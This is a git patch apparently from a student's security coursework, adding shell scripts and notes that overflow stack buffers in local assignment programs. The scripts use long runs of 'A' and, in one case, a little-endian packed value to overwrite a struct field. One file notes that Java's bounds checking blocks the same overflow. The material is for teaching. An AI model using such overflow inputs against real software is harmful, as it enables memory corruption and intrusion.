From 4ff7e162acdb26cf8aa29eec85741992b3b041e9 Mon Sep 17 00:00:00 2001 From: Unbreathable <70802809+Unbreathable@users.noreply.github.com> Date: Thu, 4 Jun 2026 18:58:56 +0200 Subject: [PATCH] feat: task 2 for sheet6 --- .gitignore | 3 ++- sheet06/a2/b.txt | 5 +++++ sheet06/a2/stack-a.sh | 1 + sheet06/a2/stack-a.txt | 1 + sheet06/a2/stack-c.sh | 1 + sheet06/a2/stack-c.txt | 1 + sheet06/a2/stack-d.sh | 2 ++ sheet06/a2/stack-d.txt | 1 + 8 files changed, 14 insertions(+), 1 deletion(-) create mode 100644 sheet06/a2/b.txt create mode 100755 sheet06/a2/stack-a.sh create mode 100644 sheet06/a2/stack-a.txt create mode 100755 sheet06/a2/stack-c.sh create mode 100644 sheet06/a2/stack-c.txt create mode 100755 sheet06/a2/stack-d.sh create mode 100644 sheet06/a2/stack-d.txt diff --git a/.gitignore b/.gitignore index 55ea426..44ac8ce 100644 --- a/.gitignore +++ b/.gitignore @@ -3,4 +3,5 @@ sheet01/a2/Hash.java *.class passwd sheet04/AuthWithTOTP.java -sheet04/key-exchange.pcap \ No newline at end of file +sheet04/key-exchange.pcap +sheet06/a2/assign* diff --git a/sheet06/a2/b.txt b/sheet06/a2/b.txt new file mode 100644 index 0000000..425afaf --- /dev/null +++ b/sheet06/a2/b.txt @@ -0,0 +1,5 @@ +Java has bounds checking for arraycopy and other functions built-in, therefore when trying to do the same thing as before we get: + +Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: arraycopy: last source index 144 out of bounds for char[128] + at java.base/java.lang.System.arraycopy(Native Method) + at assignment2b.main(assignment2b.java:14) diff --git a/sheet06/a2/stack-a.sh b/sheet06/a2/stack-a.sh new file mode 100755 index 0000000..0bef668 --- /dev/null +++ b/sheet06/a2/stack-a.sh @@ -0,0 +1 @@ +echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" | "./assignment2a" diff --git a/sheet06/a2/stack-a.txt b/sheet06/a2/stack-a.txt new file mode 100644 index 0000000..6bbffe1 --- /dev/null +++ b/sheet06/a2/stack-a.txt @@ -0,0 +1 @@ +The gets function reads into a buffer with 128 bytes from stdin. So to create a buffer overflow, I just need to put in 128 characters (all of the A) and then what we want to be written where the 32 bit integer is at the end (since it's behind the buffer inside of the struct). diff --git a/sheet06/a2/stack-c.sh b/sheet06/a2/stack-c.sh new file mode 100755 index 0000000..02b4f18 --- /dev/null +++ b/sheet06/a2/stack-c.sh @@ -0,0 +1 @@ +./assignment2c AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA diff --git a/sheet06/a2/stack-c.txt b/sheet06/a2/stack-c.txt new file mode 100644 index 0000000..eff8ae3 --- /dev/null +++ b/sheet06/a2/stack-c.txt @@ -0,0 +1 @@ +Same idea as a here, just that we put in 64 characters this time since the buffer is only 64 characters big. This means 65 A's and the job is done. diff --git a/sheet06/a2/stack-d.sh b/sheet06/a2/stack-d.sh new file mode 100755 index 0000000..6f79fa4 --- /dev/null +++ b/sheet06/a2/stack-d.sh @@ -0,0 +1,2 @@ +NUMBER=$(printf "\x74\x69\x6E\x49") +./assignment2d AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$NUMBER diff --git a/sheet06/a2/stack-d.txt b/sheet06/a2/stack-d.txt new file mode 100644 index 0000000..80e55cd --- /dev/null +++ b/sheet06/a2/stack-d.txt @@ -0,0 +1 @@ +Since we now want to change toChange to a deterministic value, specifically 0x496e6974, I just used printf to generate the ASCII characters for this number and then passed it straight to the program with some extra stuff in front to make the buffer overflow. You just have to put the bytes in reverse order due to little endian and stuff.